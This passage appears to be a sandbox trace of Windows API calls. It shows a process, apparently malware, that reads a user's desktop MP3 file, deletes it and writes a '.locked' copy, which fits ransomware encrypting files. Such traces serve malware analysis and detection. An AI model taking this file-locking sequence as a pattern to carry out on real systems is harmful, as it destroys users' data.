"c:\\users\\ciihmnxmn6ps")) returned 0x10 [0129.894] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0129.894] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0129.894] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0129.894] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0129.895] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0129.895] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.896] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3\\", lpFilePart=0x0) returned 0x2c [0129.896] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0129.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0129.896] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0129.896] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0129.896] CoTaskMemFree (pv=0x8ebb8c8) [0129.897] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0129.897] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.897] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0129.897] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6923a24 | out: lpFileInformation=0x6923a24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b66dbc0, ftCreationTime.dwHighDateTime=0x1d4adca, ftLastAccessTime.dwLowDateTime=0x23243fa0, ftLastAccessTime.dwHighDateTime=0x1d4a882, ftLastWriteTime.dwLowDateTime=0x23243fa0, ftLastWriteTime.dwHighDateTime=0x1d4a882, nFileSizeHigh=0x0, nFileSizeLow=0x9942)) returned 1 [0129.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0129.898] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 1 [0129.900] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="㘀и") returned 0x0 [0129.900] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.900] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.900] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.902] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3.locked")) returned 0x20 [0129.902] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3.locked")) returned 0x20 [0129.902] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.902] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.902] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.903] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.903] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.903] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.907] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.908] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.908] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.908] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.908] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.913] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.914] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.914] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.914] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.914] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.917] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.917] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.918] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.918] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.918] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.920] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.921] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.921] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.921] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.921] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.924] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0129.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6931b24 | out: lpFileInformation=0x6931b24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10a158c9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x10a158c9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x10a63221, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x9964)) returned 1 [0129.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0129.927] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.927] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0129.928] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0129.928] CloseHandle (hObject=0x874) returned 1 [0129.931] GetConsoleOutputCP () returned 0x1b5 [0129.932] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.932] GetConsoleOutputCP () returned 0x1b5 [0129.932] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.933] GetConsoleOutputCP () returned 0x1b5 [0129.933] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.933] GetConsoleOutputCP () returned 0x1b5 [0129.934] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.934] GetConsoleOutputCP () returned 0x1b5 [0129.934] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.934] GetConsoleOutputCP () returned 0x1b5 [0129.936] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.936] GetConsoleOutputCP () returned 0x1b5 [0129.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.937] GetConsoleOutputCP () returned 0x1b5 [0129.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.938] GetConsoleOutputCP () returned 0x1b5 [0129.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.938] GetConsoleOutputCP () returned 0x1b5 [0129.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.939] GetConsoleOutputCP () returned 0x1b5 [0129.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.940] GetConsoleOutputCP () returned 0x1b5 [0129.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.941] GetConsoleOutputCP () returned 0x1b5 [0129.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.941] GetConsoleOutputCP () returned 0x1b5 [0129.952] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.952] GetConsoleOutputCP () returned 0x1b5 [0129.954] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.954] GetConsoleOutputCP () returned 0x1b5 [0129.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0129.973] GetConsoleOutputCP () returned 0x1b5 [0129.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0129.981] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.982] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6959128*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6959128*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0129.995] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.996] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0130.012] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.012] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, 